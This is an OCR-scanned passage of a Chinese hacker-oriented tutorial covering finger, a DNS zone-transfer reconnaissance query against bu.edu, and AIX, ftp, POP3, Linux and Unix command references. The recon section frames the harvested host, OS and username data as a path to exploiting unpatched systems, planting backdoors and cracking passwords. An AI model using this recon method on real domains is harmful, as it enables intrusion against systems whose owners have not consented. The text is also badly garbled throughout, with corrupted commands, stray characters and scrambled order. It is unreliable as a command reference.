robo snark. wizard. com: ttyp3 Norv 15 01: 04

01 (remote )

angell111 snark. wizard. com: ttyp4 Nov14 23:

09 (remote)

pippen

(remote)

snark. wizard. com: ttyp6 Nov 14 15: 05

Ioot snark. Wizard. com: ttyp5 Nov 13 16: 03

7: 32 (remote)

gajake snark. wizard. com: ttyp7 Nov 14 20: 20

2: 599 (remote)

dafr snark. wizard. com: ttypl5Nov 3 20: 09

4: 55 (remote )

daf snark. wizard. com: ttypl Nov 14 06: 12

19: 12 (remote )

dafr snark. wizard. com: ttyp19Nov 14 06: 12

19: 02 (remote )

最 左边 的 是 通过 远程 登录 的 用 户 名 , 还 包括 上 次

登录 时 间 ,使 用 的 SHELL 类 型 等 等 信息 。

使 用 finger 可 以 产生 类 似 下 面 的 结果 :

user S00 PPP ppp - 122 - pml. wiza Thu Nov 14

21:29: 30 - stil ogged 记

user S15 PPP ppp - 119 -pml. wiza Thu Nov 14

22: 160:35 - still logged in

user 904 PPP ppp - 121 - pml. wiza Fri Nov 15

00: 03: 22 - still logged 识

user $03 PPP ppp - 112 -pml. wiza Thu Nov 14

22: 20:23 - still Jogged ip

User S$26 PPP ppp -124 -pml. wiza Fri Nov 15

01: 26: 49 - still logged im

User S23 PPP ppp - 102 - pml. wiza Thu Nov 14

23: 18: 00 - stil ljogged in

user 917 PPP ppp -115 - pml. wiza Thbu Nov 14

07: 43: 00 ~- still logged in

user S 一 1 0.0.0.0

50: 03 - still logged in

user $23 PPP ppp - 103 - pml. wiza Fr Nov 15

00: 13: 53 - still logged in

user S12 PPP ppp - 111 -pml. wiza Wed Nov 13

16: 58: 12 ~- still logged ip

这 个 命令 能 显示 用 户 的 状态 。 该 命令 是 建立 在 客

户 / 服 务 模型 之 上 的 。 用 户 通 过 客户 端 软 件 向 服务 器

请 求 信 息 ,然后 解释 这 些 信息 ,提供 给 用 户 。 在 服务 器

上 一 般 运 行 一 个 叫做 fngerd 的 程序 ,根据 服务 器 的 机

器 的 配置 , 能 向 客户 提供 某 些 信息 。 如 果 考 虑 到 保护

这 些 个 人 信息 的 话 , 有 可 能 许多 服务 器 不 提供 这 个 服

务 ,或 者 只 提供 一 些 无 关 的 信息 。

host 命令

host 是 一 个 Unix 命令 , 它 的 功能 和 标准 的

nslookup 查询 一 样 。 惟 一 的 区 别 是 host 命令 比较 容易

理解 。host 命令 的 危险 性 相当 大 ,下 面 举 个 使 用 实例 ,

演示 一 次 对 bu. edu 的 host 查询 。

host -1 -vv -tany bu.edu

这 个 命令 的 执行 结果 所 得 到 的 信息 相当 多 , 包括

操作 系统 、 机 器 和 网 络 的 很 多 数据 。 先 看 一 下 基本 信

息 :

Found 1 addresses for BU. EDU

Found 1 addresses for RS0. INIERNIC. NET

Found 1 addresses for SOFTWARE. BU. EDU

Found S addresses for RS. INTERNIC. NET

Found 1 addresses for NSEGC. BU. EDU

Trying 128. 197.27.7

bu. edu 86400 IN SOA

MASTER. BU. EDU

Sat Aug 10 13:

BU. EDU HOST-

961112121 ;serial (version )

900 ;refresh period

900 ;retry refresh this often

604800

86400

)

bu. edu

WARE. BU.EDU

bu.edu 86400IN NS RS.INTERNIC.NET

bu.edu 86400 IN NS NSEGCC.BU.EDU

bu.edu 86400IN A 128.197.27.7

这 些 本 身 并 没有 和 危险, 只 是 一 些 机 器 和 它们 的

DNS 服务 器 。 这 些 信息 可 以 用 WHOIS 或 在 注册 域名

的 站 点 中 检索 到 。 但 看 看 下 面 几 行 信息 :

bu.edu 86400 IN HINFO SUN -SPARC-

STATION ~- 10/41 UNIX

PPP - 77 - 25. bu. edu

128. 197.7. 237

PPP -77 - 25. bu. edu

PPP- HOST PPP-SW

PPP -77 -26. bu. edu

128. 197.7. 238

;expiration period

;minimum 工 IEL

86400 HI NS SOFT-

86400 IN 人 A

86400 IN HINFO

86400 下 人

PPP -77 -26.bu.edu 86400 IN HINFO

PPP -HOST PPP-SW

ODIE. bu.edu 86400IN A 128.197.10.352

ODIE. bu. edu 86400 下 MX 10

CS. BU. EDU

ODIE.bu.edu 86400 HINFO DEC-

ALPHA - 3000/300LIX “0OSF1

从 这 里 , 我们 马上 就 发 现 一 台 EDC Alpha 运行 的

是 OSF1 操作 系统 。 再 看 看 :

STRAUSS.bu.edu “86400IN HINFO PC-

PENTIUM “DOS7ZWINDOWS

BURULLUS.bu.edu 86400 IN HINFO

SUN -3/50 UNIX (Ouch)

GEORGETOWN.bu.edu 86400 IN HINFO

MACINTOSH “MAC - 0S

CHEEZWIZ.bu.edu ”86400 IN HINFO

SGI-INDIGO -2 UNR

POLLUX. bu. edu 86400 IN HINFO

4/20 -SPARCSTATION -SLC UN

SUN --

SFA109 - PC201. bu. edu

PC “ MS -DOS/WINDOWS

86400 HINEFO

UH -PC002 - CT.pbu.edu 86400 IN HINEO

PC - CLONE ”MS -DOS

SOKETWARE. bu. edu 86400 IT HINFO

SUN -SPARCSTATION - 107/30 ”UNIX

CABMAC. bu.edu 86400 IN HINFKO MAC-

INTOSH “MAC -0S

VIDUAL. bu. edu

INDY 了 区

KIOSK - GB. bu. edu

GATORBOX “CATORWARE

CLARINET. bu.edu 86400 IN HINEFO YL

SUAL -X-19 -TURBO -SERVER

86400 IN HINFO SCI -

86400 IN HINEFO

DUNCAN. bu. edu 86400 IN HINEO

DEC -ALPHA - 3000/400 ”0OSF1

MILHOUSE. bu. edu 86400 IN HINEFO

VAXSTATION -IVZGCPX UN

PSY81 -PC150.bu. edu “86400 IN HINFO

PC WINDOWS -95

BUPHYC. bu. edu 86400 IN

HINFO

VAX - 4000/300 ”OpenVMS

可 见 , 任 何人 都 能 通过 在 命令 行 里 键 和 人 一 个 命

令 , 就 能 收集 到 一 个 域 里 的 所 有 计算 机 的 重要 信息 ,

而 且 只 花 了 3 秒 时 间 。

我 们 利用 上 述 有 用 的 网 络 命令 , 可 以 收集 到 许多

有 用 的 信息 , 比 方 一 个 域 里 的 名 字 服 务 器 的 地 址 , 一

台 计 算 机 上 的 用 户 名 , 一 台 服 务 器 上 正在 运行 什么 服

务 , 这 个 服务 是 娜 个 软件 提供 的 ,计算 机 上 运行 的 是

什么 操作 系统 。

如 果 你 知道 目标 计算 机 上 运行 的 操作 系统 和 服

务 应 用 程序 后 , 就 能 利用 已 经 发 现 的 漏洞 来 进行 攻

击 。 如 果 目 标 计算 机 的 网 络 管理 员 没 有 对 这 些 漏 洞 及

时 修补 的 话 , 和 人 侵 者 就 能 轻而易举 地 冯 人 该 系统 , 获

得 管理 员 权限 ,并 留 下 后 门 。

如 果 入 侵 者 得 到 目标 计算 机 上 的 用 户 名 后 , 能 使

用 口令 破解 软件 , 多 次 试图 登录 目标 计算 机 。 经 过 学

试 后 ,就 有 可 能 进入 目标 计算 机 。 得 到 了 用 户 名 ,就 等

于 得 到 了 一 半 的 进入 权限 , 剩 下 的 只 是 使 用 软件 进行

破解 而 已 。 镶 ;

查看 交换 区 信息 :

lsps -a 显示 交换 区 的 分 布 信息

lsps -s 显示 交换 区 的 使 用 信息

slibcjlean 清除 处 理 程序 遗留 的 旧 分 页 信息

smit mkps 建立 交换 区 空间 信息

swapon - a 启动 所 有 的 分 页 空间

/etc/swapspaces 存放 分 页 空间 表格 信息

显示 卷 信息

lsvg 显示 卷 的 名 称

jlsvg -rootvg 显示 rootvg 卷 的 详细 信息

mount 卷 的 方法 :

varyonvg datavg 加 载 datavg 卷

mount /dev/datal 加 载 datavg 下 的 一 个 datal 卷

裸 设 备 类 型 : raw, 记 违 可 以 转变 成 文件 系统 ,而

raw 则 不 行

在 裸 设 备 上 安装 oracle 系统 :

修改 裸 设备 的 权限 , 如 裸 设 备 名 为 system01, 安

装 数据 库 用 户 为 oracle

chown oracjle :dba /dev/system01

chown oracle:dba /dev/rsystem01

在 使 用 文件 时 必须 用 rsystem01l

smit 快速 路 径 名 称 : (smit: 图 形 方式 , smitty: 字符

方式 )

dey 设备 管理

diag 诊 节

志 定期 档案 管理 系统

lvm 逻辑 卷 册 系 统管 理 员 管理

nfs NEFS 管理

sinstallp 软件 安装 及 维护

spooler 列 印 队列 管理

system 系统 管理

tcpip TCPZIP 管理

USER 使 用 者 管理

clstart,clstop :启动 和 停止 cluster

lssrc -gg cluser: 查 看 cluser 的 状态

查看 已 安装 的 软件 信息 :

ls -aF /usr/lpp (lpp:Licensed Program Products )

查看 安装 媒体 内 容 :

instaljljp -~-q -dvdevvcedrom -1

启动 时 自动 加 载 文件 系统 信息 :

需要 加 载 的 信息 存放 在 /etc/ 钙 esystems

mount -tanf 加 载 所 有 在 /ectvfilesystems 中 定义

type = nfs 的 文件 系统

显示 已 加 载 的 文件 系统 及 状态 : df -mv mount

查看 错误 日 志 信 息 :

errpt -3a

有 关 TCPZIP 的 命令

网 路 卡 :

smit chgenet,chgtok,chgftqdi, 人 mktty ,

adptr 架构 快速 路 径

smit mkinet, ppp:slip 与 ppp 快速 路 径

ifconfig:config 界面

位 址 ;

/etc/hosts 静态 主机 表

/etc/resolv. conf 位 址 解析 的 名 称 服 务 器

/etc/named. boot 名 称 服 务 器 架构

/etcvnamed. ca 根 名 称 服 务 器 快 取

/etcynamed. data 位 址 列表

/etc/named. rev 反 转 指标 列表

nslookup 查询 名 称 服务 器 资讯

网 络 路 由 :

route 管理 路 由

netstat -mm 列 出 定义 的 路 由

routed 路 由 (daekmin rip)

gated 路 由 (daekmin rip、egp、hello)

/etc/gateways 已 知 网 关

/etc/networks 已 知 网 路

服务 :

/etc/services

/etc/inetd. conf

TCP/ 了 群 组 子 系统 ;

/etc/rc. net

startsrc -gtcpip 启动 全 部 的 tcpip 子 系统

startsrc -ss inetd 启动 主要 jinternet

除 错 ;

iptrace 启动 封包 追踪

ipreport 追踪 结果 格式 化 输出

netstat 网 络 统计

ping 检查 是 否 可 以 到 达

查看 HACMP ,外 部 硬盘 信息 :

jscfg -Y

]sdev - Ce adapter

对 等 机 器 信息 :

/etc/. rhosts

/etc/hosts. equiv

/etc/hosts

观察 进程 内 存 使 用 情况 :

ps aux 观察 参数 % mem: 内 存 使 用 百 分 比 RSS : 实

际 使 用 内 存

vmstat free 的 单位 为 块 , 缺 省 值 为 4096bytst

创建 mw 设备 时 选择 的 闫 型,

Taw_]v 冤 由

Fitp 的 命令 行 格式 为 :fp -v-d-i-n 一 g

[主机 名 ] , 其 中 - v 显示 远程 服务 器 的 所 有 响应 信

息 ; -mn 限制 ftp 的 自动 登录 ; - d 使 用 调试 方式 ; -

g 取消 全 局 文件 名 ; -i 多 文件 进行 传输 时 , 关闭 交换

提示 ; -s 指定 一 个 文本 文件 , 当 ftp 开通 时 自动 运行

其 中 的 命令 (该 参数 中 不 允许 有 空格 ); - a 捆绑 数据

连接 时 使 用 任 一 本 地 接口 ; - w buffersize 替代 默认 流

未 指定 远程 系统 文件 名 , 则 使 用 本 地 文件 名 。

4. ascii: 使 用 ascii 类 型 传输 方式 。

5. bell :每 个 命令 执行 完毕 后 计算 机 响 铃 一 次 。

6. binary :使 用 二 进 制 文件 传输 方式 。

7. bye: 退 出 Ftp 会 话 过 程 。

8. ed :进入 远程 主机 目录 。

9. close: 中 断 与 远程 服务 器 的 Ftp 会 话 (与 open

对 应 )。

10. delete remote -file: 删 除 远程 主机 文件 。

11. debug[debug - value]: 设置 调试 方式 , 显 示

发 送 至 远程 主机 的 每 条 命令 , 若 设 为 0, 表示 取消 de-

bug。

12. dir: 显示 远程 主机 目录 ,并 将 结果 存 人 本 地

文件 。

13. disconnection : 同 close。

14. get: 将 远程 主机 的 文件 传 至 本 地 硬盘 的 。

1$. glob :设置 mdelete ,mget, mput 的 文件 名 扩展 ,

缺 省 时 不 扩展 文件 名 , 同 命令 行 的 -g 人 参数 。

16. hash; 每 传输 1024 字 节 , 显示 一 个 hash 符号

(#)。

17. help: 显示 Ftp 内 部 命令 的 帮助 信息 ,如 :help

command( 一 个 命令 )。-

18. lcd: 将 本 地 工作 目录 切换 至 dir。

19. literal ,传送 任 一 Fip 命令 。

20.ls: 显 示 远 程 目录 , 并 存 人 本 地 文件 。

21. mdelete :删除 远程 主机 文件 。

22. mdir: 与 dir 类 似 , 但 可 指定 多 个 远程 文件 。

23. mget :传输 多 个 远程 文件 。

24. mkdir: 在 远程 主机 中 建 一 目录 。

量 大 小 为 4096 的 缓冲 器 ; - host 指定 主机 名 或 记 地

址 ,去 连接 的 远程 主机 。

Ftp 使 用 的 内 部 命令 如 下 :

1.1! : 在 本 地 机 中 执行 交互 shell, exit 回 到 Fip 环

境 。

2. 书 macro -~ ame: 朱 行 宏 定 义 macro - name。

3. append: 将 本 地 文件 追加 到 远程 系统 主机 ; 若

25. mls : 显示 远程 主机 目录 的 清单 并 存 人 本 地 硬

盘 , 可 指定 多 个 文件 名 。

26. mput: 将 多 个 文件 传输 至 远程 主机 。

27. open host: 建立 指定 Etp 服务 器 连 接 , 可 指

定 连 接 端口 。

28. prompt: 设 置 多 个 文件 传输 时 的 交互 提示 。

29. put :将 本 地 文件 传送 至 远程 主机 。

30. pwd: 显 示 远 程 主机 的 当前 工作 目录 。

31. quit: 同 bye, 退 出 Fip 会 话 。

32. quote argl ,arg2. .. :将 参数 逐 字 发 至 远程 Fip

33.recv: 同 gst, 将 远程 主机 的 文件 传 至 本 地 硬

34. rhelp :请 求 获得 远程 主机 的 帮助 。

35. rename: 更 改 远 程 主机 文件 名 。

36. rmdir dir ~ name :删除 远程 主机 目录 。

37. send : 辐 put, 将 本 地 文件 传送 至 远程 主机 。

38. status : 显示 当前 Ftp 状态 。

39. trace: 设 置 包 跟 踪 。

40.type: 设置 文件 传输 类 型 为 ype - name, 缺 省

为 ascii。

41. user user -~ name: 向 远程 主机 表明 自己 的 身

份 ,需要 口令 时 ,必须 输入 口令 ,如 :user root passwd 表

明 自 己 是 root,passwd 是 自己 的 密码 。

42. verbose: 同 命令 行 的 -v 人 参数 , 即 设置 详 尽 报

告 方式 ,ftp 服务 器 的 所 有 响 应 都 将 显示 给 用 户 , 缺 省

为 on。 <

43.?: 同 help, 显 示 Ptp 内 部 命令 的 帮助 信息 。

首先 请 参看 RFC 1939 中 介绍 的 POP3 命令 。

一 般 telnet pop3Server f10 后 就 可 以 用 这 些 命令

了 ,大 小 写 不 敏感 ,不 包括 口令 本 身 ,注意 不 要 让 口令

回 显 ,等 验证 通过 后 再 允许 回 显 。

USeT USelImame 认可

pass password 认可 ”执行 成 功 则 状态 转换

apop name, digest 认可 ”一 种 安全 传输 口令 的

办 法 ,执行 成 功 导致

状态 转换 ,请 参见

REC 1321

stat 处 理 “请求 server 回 送 邮 箱

统计 资料 ,如 邮件 数 、

邮件 总 字 节 数

uidl n 处 理 server 返回 用 于 该 指定

邮件 的 唯一 标识 ,如 果

没有 指定 ,返回 所 有 的

list mn 处 理 。 server 返回 指定 邮件 的

大 小 等

Tetr 了 处 理 SeIVeT 返 回 邮件 的 全 部

文本

dele n 处 理 server 标记 删除 ,quit 命

令 执行 时 才 真 正 删除

rset 处 理 撤消 所 有 的 dele 命令

top mm 处 理 返回 n 号 邮件 的 前 m 行

内 容 ,m 必须 是 自然 数

noop 处 理 server 返回 一 个 肯定 的 响

quit client 希望 结束 会 话 。 如 果

server 处 于 “处理 ”状态 , 则 现在 进入 “更 新 ”状态 , 删

除 那些 标记 成 删除 的 邮件 。 如 果 server 处 于 “认可 " 状

态 , 则 结束 会 话 时 server 不 进入 “更 新 ”状态 。

关于 apop 命令

如 果 client 使 用 user 命令 ,口令 将 是 明 文 。 使 用

apop 命令 时 ,celient 第 一 次 与 server 连接 时 ,server 向

client 发 送 一 个 ascii 码 问 候 , 该 问候 由 一 个 字符 串 组

成 , 它 对 于 每 个 client 的 连接 都 是 惟一 的 ; client 把 它

的 纯 文 本 口令 附加 到 从 server 接收 到 的 字符 串 之 后 ,

然后 计算 结果 字符 串 的 MD5 摘要 ;, client 把 username

和 MD5 摘要 作为 apop 命令 的 参数 一 起 发 送出 去 。

telnet pop3Server 110

User Usermname

pass 火 火炎 火

Stat

jist

retr 1

retr 2

dele 1

dejle 2

quit

Liunx 有 许多 许多 命令 和 Unix 操作 系统 是 一 致

的 。 要 想 成 为 一 个 名 副 其 实 的 黑客 , 不 会 操作 Linux

系统 是 不 行 的 。 现 在 我 就 为 大 家 介绍 一 些 简单 的

Linux 命令 ,希望 对 大 崇 有 所 帮助 。

如 果 把 所 有 的 Linux 命令 都 介绍 出 来 , 我 想 可 以

写 一 本 书 , 所 以 我 还 是 尽量 选择 常用 的 命令 来 介绍

T。Mian ,

Man 这 个 命令 就 是 显示 一 个 命令 的 作用 , 以 及

命令 的 使 用 方式 和 参数 。 你 可 以 先 试 试 :在 Linux 下 。

man man, 你 将 会 看 到 许多 东西 , 就 像 我 所 说 的

那样 , man 这 个 命令 是 用 来 显示 一 个 命令 的 作用 和 使

用 方式 以 及 参数 的 命令 , 所 以 你 看 到 的 内 容 便 是 介绍

man 这 个 命令 的 。 当 然 你 也 可 以 输入 man 空格 加 上 其

他 的 命令 ,显示 其 他 命令 的 相关 内 容 。

2. Apropos < parameter>

这 个 命令 等 同 玉 an -k

令 , 这 个 命令 是 执行 关键 词 搜索 。

3. Ash

ash 是 一 个 简单 的 shell, 特 性 和 sh 或 者 Bourne

shel 相似 。Ash 通过 符号 链接 bsh 而 运行 。

4. At

at 在 指定 的 时 间 运 行程 序 。

S. Atq

使 用 atq 列 出 所 有 等 待 作业 的 队列 。

0. Atrm

使 用 atrm 删除 指定 的 作业 。

7. 乳 amnner

banner 命令 可 用 来 向 标准 输出 打印 大 的 、 高 质量

的 标题 , 若 信 息 遗 漏 , 它 将 进行 提示 并 从 标准 输入 来

读 取 一 行

8. Cat

cat 空格 加 文件 名 , 这 个 命令 一 般 是 用 来 读 文件

内 容 的 。 这 时 这 个 命令 有 点 像 more 的 功能 。

cat file. txt | sort

这 是 将 cat 命令 的 输出 通道 管道 作为 sort 命令 的

输入 对 文件 进行 排序 。

Cat files

> >>

这 个 命令 是 在 > > 后 面 填写 内 容 加 到 包 e. txt 文

件 中 。

Cat filel> > fils2

这 个 命令 是 把 filel 的 内 容 拷贝 到 fle2 中 , 原 文

件 不 变 。 也 许 你 以 后 会 配置 apache 服务 器 ,如 果 你 希

望 单 文件 配置 ,就 要 把 srm. conf 和 access. conf 两 个 文

件 与 httpd. conf 这 个 文件 合 而 为 一 。 就 可 以 用 这 个 命

令 来 实现 :cat srm. conf > > httpd. conf

cat accerss. conf > > httpd. conf.

95. Chfn

chfn 命令 是 用 来 改变 imger 信息 ,可 以 使 用 该 全

令 输 入 或 者 修改 由 finger 网 络 工具 使 用 的 信息 。

1T0. Chgrp

这 个 命令 用 来 改变 文件 或 目录 所 属 的 用 户 组 , 与

文件 或 目录 的 权限 有 关 。

1 Chmog

这 个 命令 用 来 改变 对 象 的 访问 权限 , 也 就 是 改变

文件 模式 。 一 般 情况 下 有 两 种 方法 来 改变 。 你 可 以 在

Linux 下 面 先 使 用 ls -1 命令 , 你 可 以 看 见 你 所 在 目

录 的 文件 的 权限 。

ITWXIwxT -X 23 root sys S$12 Apr 11 1999 opt

这 上 面 显 示 了 一 个 文件 的 期 限 , w 是 write, 指 的

是 写 权 限 ;r 是 read, 指 的 是 读 权限 ;X 指 的 是 可 执行

权限 。 权 限 分 为 三 组 ,第 一 组 是 拥有 者 的 权限 ,第 二 组

是 同 组 的 权限 , 第 三 组 是 其 他 用 户 权限 。 你 可 以 直接 、

这 样 改 , 也 可 以 使 用 一 些 数字 来 代替 它们 , 4 表示 读 ,

2 表示 写 , 1 表示 可 执行 ,所 以 你 可 以 用 一 个 三 位 数字

来 代替 这 三 组 的 读 写 权 限 。 比 如 说 : 要 想 使 文件 fle

的 拥有 者 具有 读 、 写 和 执行 权限 ,而 其 他 用 户 不 具有

任何 权限 ,可 以 这 样 设 :chmod 700 files, 依 此 类 推 。

12. Chown

这 个 命令 是 用 来 改变 文件 或 目录 的 用 户 。 只 有 文

件 的 拥有 者 和 系统 管理 员 才能 改变 文件 的 用 户 记 。 比

如 ;Chowm user file。

13. Chroot

这 个 命令 用 来 把 文件 系统 中 的 根 目 录 设 置 为 其

他 目录 而 不 是 /。

14. Chsh

这 个 命令 更 改 登录 到 Linux 系统 使 用 的 shel 类

型 。 一 般 可 以 通过 这 样 设置 改变 目录 。

1S. Cp

这 个 命令 就 是 拷贝 。 比 如 :cp flel file2 ,是 把 文件

flel 拷贝 到 名 e2。

这 个 命令 是 复制 文件 到 档案 文件 或 者 从 档案 文

件 中 读 出 文件 。

17。Cut

这 个 命令 就 是 从 输入 文件 中 截取 一 些 列 或 者 字

段 。

TS8S. DTf

这 个 命令 就 是 显示 使 用 的 硬盘 空间 , 这 个 命令 你

会 常用 ,你 可 以 看 看 linux 的 分 区 情况 。

用 df -k 可 以 用 来 检查 磁盘 空间 。

19. Du

这 个 命令 显示 各 种 文件 和 目录 所 使 用 的 硬盘 空

间 数 , 并 且 可 以 显示 系统 中 最 多 或 者 最 少 的 硬盘 空间

的 位 置 。

20. Findg

这 个 命令 是 用 来 查找 文件 的 。 我 之 所 以 把 它 选 择

出 来 , 就 是 因为 它 和 ls 不 一 样 , 用 它 可 以 进行 一 些 复

杂 的 查找 , 可 以 使 用 通配符 组 合 所 要 查找 文件 的 形

式 。

21. 了 inger

这 个 命令 是 在 本 地 计算 机 或 者 其 他 计算 机 系统

中 查找 用 户 信 息 。

22. ftp

这 个 命令 是 用 来 进行 文件 传输 的 , 可 以 与 其 他 地

址 的 计算 机 进行 信息 交换 。

23. 是 ostname

这 个 命令 用 来 显示 系统 当前 的 主机 名 和 域名 , 也

可 以 由 root 用 来 设置 系统 的 主机 名 。

24. 焉 alft

这 个 命令 是 关闭 系统 ,

令 , 只 能 因 root 执行 。

2S. 于 config

这 个 命令 是 用 于 配置 网 络 接口 的 几 种 程序 之 一 ,

通常 负 由 Toot 使 用 。 这 个 命令 我 来 详细 的 介绍 一 下 。 配

相当 于 shutdown now 命

置 网 络 时 可 能 会 用 到 这 个 命

netconfig 的 命令 。

Ifconfig interface ip address 是 用 来 配置 基本 接

口 , 比 如 这 onfig eth 202. 202. 202. 202 是 配置 一 个 以

太 接 口 , 它 的 地 址 是 202. 202. 202. 202

Iconfig interface down/up,, 是 用 来 激活 和 禁用 一

个 接口 。

Hconfig -a, 可 以 显示 所 有 激活 的 接口 的 状态 信

令 , 当 然 也 有 机 器 用

息 。

Iconfig eth0:0……, 是 追加 别名 。

26. 孜 诅

这 个 命令 向 进程 号 发 送 指定 的 信和 号, 可 以 重启 和

关闭 进程 。 这 个 命令 常 和 ps 命令 结合 在 一 起 , 如 : ps

-eaf |grep fles 这 可 以 检查 名 为 包 es 的 进程 号 , 检查

出 进程 号 后 , 就 可 以 使 用 kill 命令 来 执行 kill - hup

进程 号 。

27. Less

这 个 命令 和 more 差不多 , 它 允许 文件 前 后 移

动 。

28. 1Ls

这 个 命令 显示 目录 , 可 以 加 参数 进行 输出 设置 。

这 是 个 常用 命令 。 我 就 不 多 介绍 了 。

20. Man

这 个 命令 用 来 显示 联机 手册 页 , 通常 可 以 用 它 来

看 别 的 命令 的 使 用 方法 。

30. Mkdir

这 个 命令 用 来 创建 新 的 目录 。

31. Mikfs

这 个 命令 是 用 来 在 某 一 设备 上 创建 Linux 文件

系统 ,但 是 它 不 格式 化 所 创建 的 文件 系统 。

32. Miore

这 个 命令

示 文 件 内 容 , 只

33. Mount

这 个 命令 用 来 把 文件 系统 加 载 到 指定 的 目录

前 面 已 经 提 到 过 , 和 ]ess 相似 , 分 屏 显

可 以 向 下 翻 页 。

于 53

34. Miv

这 个 命令 把 一 个 对 象 从 一 位 置 移 到 新 的 位 置 , 相

当 于 删除 复制 。

35S. Passwd

这 个 命令 用 来 改变 或 者 设置 口令 。

36. Rm

这 个 命令 用 来 删除 指定 的 文件 。

37. Rnpadqir

”这 个 命令 用 来 删除 指定 的 空 目 录 。

38. Route

使 用 route 显示 或 者 配置 让 路 由 表 。 这 是 可 用 于

监控 接口 的 的 通信 。 比 如 ;

Route add/del default gw ip - address ppp0,, 这 是

加 一 个 网 关 接 口 地 址 在 ppp0 上 。

39. Ping

这 个 命令 请 求 来 自 网 络 主机 的 数据 包 响应 。 这 个

命令 也 不 多 讲 了 。

40. Ps

这 个 命令 是 提供 进程 的 内 容 。

41. 了 wd

这 个 用 来 命令 用 来 显示 当前 的 工作 目录 。

42. Quota

这 个 命令 报告 配额 设置 。

43. 了 mm

这 个 命令 用 来 删除 指定 的 文件 。

44. Rmair

这 个 命令 用 来 删除 指定 的 空 目 录 。

4S. Shutdowmn

这 个 命令 是 用 来 关闭 系统 的 , 可 以 加 上 一 些 参 数

设置 关闭 的 时 间 与 方式 。

要 有 TERRY

ne

err

汉 计 丽 民 LE ie、

46. Tail

这 个 命令 用 来 把 某 一 给 定 的 文件 的 最 后 10 行 打

印 到 标准 输出 。 如 果 没 有 给 定 文件 , 它 将 从 标准 输入

读 取 。

47. 工 aj

这 个 命令 可 以 与 在 线 的 其 他 用 户 交流 , 当 对 方 有

回应 后 ,两 人 都 可 以 看 到 输出 的 内 容 。

48. Tar

这 个 命令 用 来 存储 和 展开 文件 的 存档 程序 , 压缩

和 解压 文档 。

49. Telnet

这 个 命令 ,远程 登录 。

S0. Touch

这 个 命令 用 来 创建 文件 或 者 更 新 时 间 。

S1. Umount

这 个 命令 用 来 印 载 文件 系统 。

S2. Uptime

这 个 命令 用 来 显示 计算 机 已 运行 的 时 间 。

S3. Vi

这 个 命令 用 来 调用 vi 编辑 器 。 你 也 可 以 通过 这

个 命令 来 读 取 一 些 文件 的 内 容 ,相当 于

more 命令 。

S4.

这 个 命令 用 来 显示 在 系统 中 登录 的 用 户 。

SS. Whatis

这 个 命令 搜索 whatis 数据 库 查 找 命令 并 输出 每

个 命令 的 一 行 的 概述 。

S0. Whereis

这 个 命令 查找 命令 、 命 令 源 以 及 手册 页 。

和 S7. Who

这 个 命令 显示 当前 在 线 用 户 , 相 当 与 whois。 鱼

UNIX 是 个 多 人 多 工作 业 系 统 。 另 外 , UNIX 有 很

多 种 ,如 AT&T UNIX (SVR4) .Sun0S 4.1.3、HP -UX

R8、AI V3、XENIX 、Linux 等 等 , 国内 学 校 工 作 站 以

使 用 Sun0S 为 主流 ,各 系统 大 同 小 异 。 下 面 介绍 其 基

本 指令 的 操作 。

一 、 命 令 格 式

命令 [选项 ] [处 理 对 象 ]

例 : ls -la mydir

命令 一 般 是 小 写字 串 ,注意 大 小 写 有 别 。

选项 通常 以 减 号 ( - ) 再 加 上 一 个 或 数 个 字 元 表

示 ,用 来 选择 一 个 命令 的 不 同 操作 同一 行 可 下 数 个 命

令 , 命 令 间 应 以 分 号 隔 开 。

命令 之 后 加 上 & 可 使 该 命令 背景 执行 。

全 一 般 在 shel 下 执行 程式 , 我 们 必须 等 刚 下 过

的 指令 执行 结束 后 , 才能 继续 下 指令 , 这 就 是 前 景 执

行 , 如 果 程 式 执行 时 间 太 长 ,不 想 等 待 它 , 可 将 该 程式

放 至 背景 执行 ,此 时 就 可 继续 做 别 的 事 了 。

UNK 命令 列 有 不 少 保留 字 , 如 “\ “人 “|

0

等 , 这 些 字 元 均 有 特殊 解 译 ,如 果 命 名 或 参数 要 用 到

保留 字 ,请 在 保留 字 之 前 加 上 反 斜 线 “\ ,例如 \ 代

表 ! ,\\ 代 表 \ 。

线 上 求助 指令 一 一 man 可 在 线 上 用 来 查询 各 种

命令 用 法 (manual page) 的 指令

例 : man ls 查询 ls 这 个 指令 的 用 法

man man 查询 man 指令 的 用 法

以 大 部 分 指令 仅 列 简要 说 明 , 详细 用 法 可 用 man

查询 。 为 节省 篇 幅 ,举例 不 多 ,读者 需 时 常 上 机 使 用 才

能 真正 熟悉 指令 的 用 法 。

二 .档案 及 目录 指令

和 D0S 相似 ,UNK 采用 阶层 式 目录 管理 结构 ,

由 根 目录 ( / ) 开始 一 层 层 将 子 目 录 建 下 去 , 各 阶层

目录 以 / 隔 开 。

home directory: 使 用 者 ljogin 时 , 工 作 目 录 的 位

置 , 是 由 系统 管理 者 所 设 定 “~ ”符号 代表 自己 的

home direetory ,例如 ~ /myfile 是 指 自己 home 目录 下

myfile 这 个 档案 ; ~ 5820007binydqkmj 代表 b82000 的

home 目录 下 ,bin 目录 内 qkmj 档案 。

档 名 有 区 分 大 小 写 ,长 度 可 达 256 字 元 ( 随 系 统

而 异 ) , 且 不 限 点 号 (. ) 的 数目 隐藏 档 : 档 名 或 目录 名

以 . 开头 即 为 隐藏 档 。

. 表示 目前 所 在 目录

表示 上 一 层 目录

UNIX 的 万 用 字 元 有 3 种 ,, 关 ”和 ?” 用 法 和

DOS 相同 , 另 可 用 [.…:] 代 表 区 间 内 的 任 一 字 元 ,如

test[0 - 5] 即 代 表 test0,test1,.. .tests 的 集合 。

以 下 是 lg -1 指令 输出 的 例子 , 分 别 介绍 各 栏 位

的 意义 :

total 03

drwx 一 一 -一 -一 4 b1303045 1336 Feb 13 16:

37 Mail

drwx- -一 一 -一 2 bl1S03045512 Jan9 16: 26

News

drwx- -一 一 一 一 2 b1503045S512 Feb 7 00: 46

bin

drwx- 一 -一 一 2 b1S03045 1024 Novl 16: 43

C

-Iw------ 一 1 b1S$03045 3051 Feb7 01:

49 dial - up

-rw-Tr- 一 一 一 一 1 b150304537106 Feb 13 02:

00 wwwfaql

drwx- 一 -一 一 一 2 b1503045512 Aug 111994

doc

rwxrwxrwxT b150304511 Sep5 20: 36 docs -> /

Temote/doc

drwxr -区 -~-x2 b1$03045$512 Feb7 00: 43 pub

档案 形式 :

=- 一般 档案 。

d 目录 。

1 符号 链 结 档 , (symbolic link file) 用 jn -s 命令

造成 的 ,上 例 中 ,ed docs 和 cd /remote/doe 的 效果 是

一 样 的 。

